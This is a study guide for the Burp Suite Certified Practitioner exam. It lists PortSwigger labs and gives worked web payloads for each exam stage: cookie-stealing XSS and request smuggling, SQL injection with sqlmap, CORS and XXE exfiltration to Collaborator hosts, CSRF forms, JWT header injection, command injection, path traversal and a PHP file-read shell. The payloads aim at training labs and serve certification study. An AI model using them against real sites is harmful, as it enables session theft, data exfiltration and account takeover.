Burp Suite Certified Practitioner Roadmap - BSCP

Which labs do I have to do?

To complete the BSCP certification, it is not necessary to do all the PortSwigger labs; it is enough to do the labs that are relevant for the exam. I recommend repeating the labs twice: once while creating a write-up and another time while taking notes for the exam.

However, the goal of this certification should be to learn and improve in web pentesting, so I recommend doing all the labs.

Once you complete all these labs, the recommended next step is to do the mystery labs. There is no specific number to complete, just continue until you feel comfortable solving them.

FOOTHOLD - STAGE 1

Content Discovery

DOM-Based XSS

Cross-Site Scripting (Other contexts)

Web Cache Poisoning

Host Header Attacks

HTTP Request Smuggling

Brute Force

Authentication

PRIVILEGE ESCALATION - STAGE 2

CSRF

Password Reset

SQL Injection

JWT

Prototype Pollution

API Testing

Access Control

GraphQL

CORS

DATA EXFILTRATION - STAGE 3

XXE

SSRF

Server-Side Template Injection (SSTI)

Server-Side Prototype Polution (SSPP)

File Path Traversal

File Upload

Deserialization

OS Command Injection

Exam Tips

This table shows which vulnerabilities are included in the exam.

Below I will provide examples I have found that fit each vulnerability.

  • STAGE 1 - Host Header Poison (Forgot-Password)
POST /forgot_password
Host: <exploit-server>.web-security-academy.net

-----
Exploit Server /log

/forgot-password?temp-forgot-password-token=<TOKEN>
  • STAGE 1 - Web Cache Poisoning with an unkeyed header (tracking.js)
GET / 
Host: <exploit-server>.web-security-academy.net
X-Forwarded-For: <exploit-server>.web-security-academy.net
X-Forwarded-Host: <exploit-server>.web-security-academy.net

-----
Exploit Server /resources/js/tracking.js

location='https://<BURP-COLLABORATOR>?cookie='+document.cookie
  • STAGE 1 - Identify valid user accounts with password reset function

By using the user dictionary provided by PortSwigger, you find another valid user besides Carlos; in my case, it was the user root.

Once we identify the new user “root”, all that remains is to perform brute force using the password dictionary provided by PortSwigger.

  • STAGE 1 - HTTP Request Smuggling (XSS via User-Agent)
- TE.CL with " bypass- 

POST / HTTP/1.1

Content-Length: 5
Transfer-Encoding: "chunked"

330
GET /post?postId=4 HTTP/1.1
Host: 0a1100de03dee2f980d72b9b007c00d6.web-security-academy.net
User-Agent: a"/><script>document.location='http://<BURP-COLLABORATOR>/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Cookie: <COOKIE>

x=1
0

- CL.TE -

POST / HTTP/1.1

Transfer-Encoding: chunked
Transfer-Encoding: ORHFSuL
Content-Length: 25

f
du60v=x&h94ed=x
0

GET /post?postId=1 HTTP/1.1
Host: <CHANGE>
User-Agent: "><script>alert(document.cookie);var x=new XMLHttpRequest();x.open("GET","https://<BURP-COLLABORATOR>?cookie="+document.cookie);x.send();</script>
Cookie: <COOKIE>
  • STAGE 1 - XSS Reflected (search-term)
GET /?search-term="><script>alert(1)</script>

"Tag is not allowed"

<iframe src="https://<EXAM URL>/?searchterm='<body onload=%22eval(atob('<BASE64 ENCODE>'))%22>//" onload="this.onload=";this.src ='#XSS'"></iframe>
<iframe src="https://<EXAM URL>/?searchterm=%22%3E%3Cbody%20onload=%22document.location%22%5D%3D%22https%3A%2F%2F<BUPR-COLLABORATOR/?c='+document.cookie"%22%3E//>">
  • STAGE 1 - Unknown

This is the worst-case scenario you could get on the exam: a lab that is not included in the prepared list. However, there is no need to worry, because if you have done the labs I mentioned and taken notes for the exam, it is very likely that you will get an identical or very similar lab in the exam.

  • STAGE 2 - JSON Role ID update (update-email)
POST /update-email


{
	"email":"test@test.com",
	"roleid":$0$
}
  • STAGE 2 - SQL Injection (advanced_search)
GET /search_advanced?search_term=INJECTION'&sortby=AUTHOR&blog_artist=Ben+Eleven
GET /search_advanced?search_term=a'))--&sortby&blog_artist=
GET /search_advanced?search_term=a')) union select NULL,'aaaa',username||'-'||password,NULL,NULL,NULL,NULL from users--&sortby=&blog_artist=
python3 sqlmap.py -u "https://<EXAM URL>/advancedsearch?search-term=a&sort=AUTHOR%27&creator=Sam+Pit" --cookie='<COOKIE>' --risk 3 --level 3 --sql-query "SELECT password FROM users WHERE username='administrator'"

Whenever you see an advanced search section, it is very likely—or almost certain—that it is a SQL injection. This is a free stage.

  • STAGE 2 - CORS AJAX Account API and session cookie from admin

In this case, I am not 100% sure which example appears in the exam; however, I have some notes I made, and it is likely that the exam will include something similar.

Origin allow Subdomains + XSS

- XSS ON CHECK STOCK-

https://stock.0a3000ff03b6b3b9803b03c4005a00f5.web-security-academy.net/?productId=<script>alert(1)</script>&storeId=2
- ORIGINAL PAYLOAD -

<script>
var req = new XMLHttpRequest();

req.onload=sendAPI;
req.withCredentials = true;
req.open('GET','https://0a3000ff03b6b3b9803b03c4005a00f5.web-security-academy.net/accountDetails',true);
req.send();

function sendAPI(){
  location='https://zeh8vekoxedzbop8w6cwmxq4dvjr7jv8.oastify.com?api='+btoa(req.responseText);
};
</script>
- FINAL INJECTION -

<script>
  location="http://stock.0a3000ff03b6b3b9803b03c4005a00f5.web-security-academy.net/?productId=%3cscript>var req = new XMLHttpRequest();req.onload=sendAPI;req.withCredentials = true;req.open('GET','https://0a3000ff03b6b3b9803b03c4005a00f5.web-security-academy.net/accountDetails',true);req.send();function sendAPI(){  location='https://zeh8vekoxedzbop8w6cwmxq4dvjr7jv8.oastify.com?api='%2Bbtoa(req.responseText);};%3c/script>&storeId=5"
</script>

Null Origin

<iframe sandbox="allow-scripts" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload= sendAPI;
req.withCredentials = true;
req.open('GET','https://0aae0000041193f2805a03aa006e00f9.web-security-academy.net/accountDetails',true);
req.send();
function sendAPI() {
  location='https://mg6z8x1v8zj4phi2hfuzyjioafgf47sw.oastify.com?api='+btoa(req.responseText);
};
</script>"</iframe>

  • STAGE 2 - CSRF Refresh Password (COOKIE -> isloggedin : true)

Whenever you see this cookie, you will get this example in the exam.

- COOKIE -
  
%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MC4CFQCWIzg8mjbac41XpWZLvL6cUxKYoQIVAISSvLwmd%2bj0AlQAjLzHFc3ny6L4

POST /refreshpassword

Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MC4CFQCWIzg8mjbac41XpWZLvL6cUxKYoQIVAISSvLwmd%2bj0AlQAjLzHFc3ny6L4
X-Forwarded-Host: <exploit-server>.web-security-academy.net
X-Host: <exploit-server>.web-security-academy.net
X-Forwarded-Server: <exploit-server>.web-security-academy.net

csrf=<CARLOS CSRF>&username=administrator
  • STAGE 2 - CSRF change email admin formid

We identified it thanks to the fact that the request allows changing the email by removing the CSRF token.

- EXPLOIT SERVER -
  

<html>
<meta name="referrer" content="no-referrer">
  <body>
    <form action="https://0abb00140302d2238057a86f00490053.web-security-academy.net/my_account/changeemail" method="POST">
      <input type="hidden" name="email" value="attacker@exploitservermail.com" />
      <input type="hidden" name="form&#45;id" value="HfWYqd" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

You’ll see that when you try to execute the CSRF, the server responds with an error in the Referer. To bypass it, you need to remove the Referer header using the tag. This vulnerability is the same as in this lab → https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-depends-on-header-being-present

Once the victim’s password has been changed, we send a ‘forgot password’ request to our own email.

  • STAGE 2 - JWT

I have not found any exam example for this vulnerability; however, there are not many possible variants, so one of these examples will most likely appear.

JWK Header Injection

JKU Header Injection

- IDENTIFY -

{  
    "jku": "https://DOMAIN/",  
    "kid": "d593b25a-b459-49a9-8fb2-7b540a5a4526",  
    "alg": "RS256"  
}

- EXPLOIT SERVER -

- COPY KID -

{
  "keys": [
    {
    "kty": "RSA",
    "e": "AQAB",
    "kid": "d593b25a-b459-49a9-8fb2-7b540a5a4526",
    "n": "woquDsRECLVJGh2sANmjEh0cvfe0Wydmndld7KkOi5x4UZvV2MFeIRebtLDTJf-vp8i6SY0scmLSyDt1vwcNEg_VisFlIlPenBKBdxNyIKcRwABkyQEwe_TNpCAAqilAxPrDTyEswGii1hGChLlFoSU2WHZ2Kxts1FXCQOz1iuhm5Fg-KHiaAlKmAlG2lp83iNbYtSvnnL4L58ZjvXiNGABSVF-6_juM2uAjCKEOMzOw9dELTxFXSHEJLoJqx2wFsTLrBOQgKQbJ1j6PlfXAn99RposH4VSeXYfxJ7s1fozclcxke4uEHKNEz4rT9OlLj0e0STjfbNw4BMXMn55_jw"
}
  ]
}

KID Path Traversal (NULL BYTE)

echo -n "\0" | base64
AA==

  • STAGE 3 - XXE admin user import
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY %xxe SYSTEM "https://<exploit-server>.web-security-academy.net/exploit.dtd">%xxe;]>
  <users>
    <user>
      <username>Example1</username>
      <email>example1@domain.com</email>
    </user>
    <user>
      <username>&xxe;</username>
      <email>example2@domain.com</email>
    </user>
  </users>
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://<BURP-COLABORATOR>/?x=%file;'>"

%eval;
%exfil;
  • STAGE 3 - OS Command Injection inside XML admin user import
<?xml version="1.0" encoding="UTF-8"?>
<users>
    <user>
        <username>Example1</username>
        <email>example1@domain.com&`nslookup -q=cname $(cat /home/carlos/secret).BURP-COLLABORATOR`</email>
    </user>
</users>
  • STAGE 3 - Admin Panel Download report as PDF SSRF
{
  "table-html":"<div><p>Report Heading</p><iframe src='http://localhost:6566/home/carlos/secret'>"
}
  • STAGE 3 - File Path Traversal (admin_img)

I have seen many reviews saying that the word ‘secret’ is blocked, but it can be bypassed with URL encoding.

GET /adminpanel/admin_img?filename=..%252f..%252f..%252f..%252f..%252f..%252f..%252fhome/carlos/%252537%33%2536%2536%2533%2537%32%2536%35%2537%34
  • STAGE 3 - admin_panel Config the password reset email template SSTI

https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti

Flask/Jinja2


OR

newEmail=!&csrf=csrf

CLICK RESET PASSWORD

  • STAGE 3 - Upload image from URL RFI (admin panel)

EXPLOIT SERVER

<?php echo file_get_contents('/home/carlos/secret'); ?>
https://exploit-server.com/shell.php#kek.jpg